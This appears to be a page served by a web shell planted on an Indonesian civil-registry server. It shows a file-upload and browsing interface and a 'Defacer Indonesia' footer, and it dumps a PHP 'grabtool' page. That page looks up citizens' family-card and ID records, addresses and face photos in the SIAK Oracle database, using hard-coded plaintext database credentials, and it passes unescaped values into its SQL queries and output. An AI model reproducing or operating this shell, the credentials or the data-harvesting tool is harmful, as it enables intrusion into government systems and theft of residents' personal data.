MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/lengkap.php
<?php session_start(); if (!isset($_SESSION['grabtool_sudah_login'])) { header('location:login.php'); exit; } $page_title = 'DATA KEPENDUDUKAN'; $title = 'DATA KEPENDUDUKAN KALTARA'; include('header.php'); ?> <style> .nav-tabs .nav-link.active { font-weight: bold; } </style> <div class="content-wrapper"> <section class="content"> <div class="row"> <div class="col-10"> <div class="card card-info"> <div class="card-header"> <h3 class="card-title">DATA KEPENDUDUKAN KALTARA</h3> </div> <div class="card-body"> <ul class="nav nav-tabs" id="myTab" role="tablist"> <li class="nav-item"> <a class="nav-link active" id="siak-tab" data-toggle="tab" href="#siak" role="tab">Pencarian biodata Menggunakan No KK</a> </li> <li class="nav-item"> <a class="nav-link" id="ktpel-tab" data-toggle="tab" href="#ktpel" role="tab">Pencarian biodata Menggunakan NIK</a> </li> </ul> <div class="tab-content" id="myTabContent" style="margin-top:20px;"> <!-- ===================================================== TAB 1 — BIODATA SIAK ====================================================== --> <div class="tab-pane fade show active" id="siak" role="tabpanel"> <?php // DB SIAK $ipektp = 'localhost'; $portdbsiak = '1521'; $dbsiakuser = 'SIAKOFF'; $dbsiakpwd = 'bobbytgs13'; $dbsiaksid = 'SIAKDB'; $conn_siak = oci_connect($dbsiakuser, $dbsiakpwd, "$ipektp:$portdbsiak/$dbsiaksid"); oci_execute(oci_parse($conn_siak, "ALTER SESSION SET nls_date_format='DD-MM-YYYY'")); $result = null; $error = null; $pengikut = []; if (isset($_POST['nokk_siak'])) { $nokk = trim($_POST['nokk_siak']); $query = "SELECT NIK, NO_KK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM biodata_wni WHERE NO_KK = :nokk ORDER BY STAT_HBKEL"; $stid = oci_parse($conn_siak, $query); oci_bind_by_name($stid, ':nokk', $nokk); oci_execute($stid); $row = oci_fetch_assoc($stid); if ($row) { $row['JENIS_KLMIN'] = ($row['JENIS_KLMIN'] == '1') ? "Laki-Laki" : "Perempuan"; $result = $row; $no_kk = $row['NO_KK']; $sqlKK = "SELECT NIK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM BIODATA_WNI WHERE NO_KK = :nokk ORDER BY STAT_HBKEL"; $stidKK = oci_parse($conn_siak, $sqlKK); oci_bind_by_name($stidKK, ":nokk", $no_kk); oci_execute($stidKK); while ($kk = oci_fetch_assoc($stidKK)) { $kk['JENIS_KLMIN'] = ($kk['JENIS_KLMIN']=='1') ? "Laki-Laki" : "Perempuan"; $pengikut[] = $kk; } } else { $error = "Data tidak ditemukan!"; } } ?> <!-- FORM SIAK --> <form method="POST" class="mb-3"> <label><b>Masukkan Nomor KK:</b></label> <input type="text" name="nokk_siak" class="form-control" placeholder="6471xxxxxxxxxxxx" required> <button class="btn btn-primary mt-2">Cari Data KK</button> </form> <?php if ($result): ?> <h4 class="text-center mb-3">Hasil Biodata SIAK</h4> <div class="row justify-content-center"> <div class="col-md-8"> <table class="table table-bordered"> <tr><th>NIK</th><td><?= $result['NIK'] ?></td></tr> <tr><th>No KK</th><td><?= $result['NO_KK'] ?></td></tr> <tr><th>Nama</th><td><?= $result['NAMA_LGKP'] ?></td></tr> <tr><th>JK</th><td><?= $result['JENIS_KLMIN'] ?></td></tr> <tr><th>Tempat/Tgl Lahir</th><td><?= $result['TMPT_LHR'] ?>, <?= $result['TGL_LHR'] ?></td></tr> </table> </div> </div> <h4 class="text-center mt-4">Anggota Dalam KK</h4> <div class="row justify-content-center"> <div class="col-md-10"> <table class="table table-striped table-bordered"> <tr> <th width="50">No</th> <th>NIK</th> <th>Nama</th> <th>JK</th> <th>Tempat / Tgl Lahir</th> </tr> <?php $no = 1; foreach ($pengikut as $p): ?> <tr> <td align="center"><?= $no++ ?></td> <td><?= $p['NIK'] ?></td> <td><?= $p['NAMA_LGKP'] ?></td> <td><?= $p['JENIS_KLMIN'] ?></td> <td><?= $p['TMPT_LHR'] ?>, <?= $p['TGL_LHR'] ?></td> </tr> <?php endforeach; ?> </table> </div> </div> <?php endif; ?> <?php if ($error): ?> <div class="alert alert-danger"><?= $error ?></div> <?php endif; ?> </div> <!-- ===================================================== TAB 2 — KTP-EL ====================================================== --> <div class="tab-pane fade" id="ktpel" role="tabpanel"> <?php // DB KTP-EL $connektp2 = oci_connect('siakoff', 'bobbytgs13', 'localhost:1521/siakdb'); $hasil2 = []; $pesan2 = null; if (!empty($_POST['nik_ktp'])) { $nik_ktp = trim($_POST['nik_ktp']); $query = "SELECT NIK, NO_KK, NAMA_LGKP, TMPT_LHR, TGL_LHR, JENIS_KLMIN, ALAMAT, NO_RT, NO_RW, NAMA_KEL, NAMA_KEC, NAMA_KAB, NAMA_PROP FROM BIODATA_WNI WHERE NIK = :nik"; $st = oci_parse($connektp2, $query); oci_bind_by_name($st, ":nik", $nik_ktp); oci_execute($st); while ($r = oci_fetch_assoc($st)) { $r['JENIS_KLMIN'] = ($r['JENIS_KLMIN'] == '1') ? 'Laki-Laki' : 'Perempuan'; $q2 = oci_parse($connektp2, "SELECT FACE FROM FACES WHERE NIK = ".$r['NIK']); oci_execute($q2); $r2 = oci_fetch_assoc($q2); if (!empty($r2['FACE'])) { $r['FOTO'] = base64_encode($r2['FACE']->load()); } else { $r['FOTO'] = null; } $hasil2[] = $r; } if (empty($hasil2)) $pesan2 = "Data tidak ditemukan!"; } ?> <form method="POST" class="mb-3"> <label><b>Masukkan NIK:</b></label> <input type="text" name="nik_ktp" class="form-control mb-2" placeholder="Masukkan NIK 16 Digit" required> <button class="btn btn-success">Cari Biodata</button> </form> <?php if ($pesan2): ?> <div class="alert alert-danger"><?= $pesan2 ?></div> <?php endif; ?> <?php if (!empty($hasil2)): ?> <h4 class="text-center">Hasil Pencarian Biodata</h4> <div class="row justify-content-center"> <div class="col-md-11"> <table class="table table-bordered table-striped"> <tr> <th>Foto</th><th>NIK</th><th>Nama</th><th>JK</th> <th>Lahir</th><th>Alamat</th><th>RT</th> <th>Kelurahan</th><th>Tgl Cetak</th><th>Petugas</th> </tr> <?php foreach ($hasil2 as $h): ?> <tr> <td> <?php if ($h['FOTO']): ?> <img src="data:image/png;base64,<?= $h['FOTO'] ?>" width="90"> <?php endif; ?> </td> <td><?= $h['NIK'] ?></td> <td><?= $h['NAMA_LGKP'] ?></td> <td><?= $h['JENIS_KLMIN'] ?></td> <td><?= $h['TMPT_LHR'] ?>, <?= $h['TGL_LHR'] ?></td> <td><?= $h['ALAMAT'] ?></td> <td><?= $h['NO_RT'] ?></td> <td><?= $h['NAMA_KEL'] ?></td> <td><?= $h['TGL_CETAK'] ?></td> <td><?= $h['CREATED_USERNAME'] ?></td> </tr> <?php endforeach; ?> </table> </div> </div> <?php endif; ?> </div> </div><!-- tab content --> </div><!-- card body --> </div><!-- card --> </div><!-- col --> </div><!-- row --> </section> </div> <?php include('footer.php'); ?>
Copyright ©2021 || Defacer Indonesia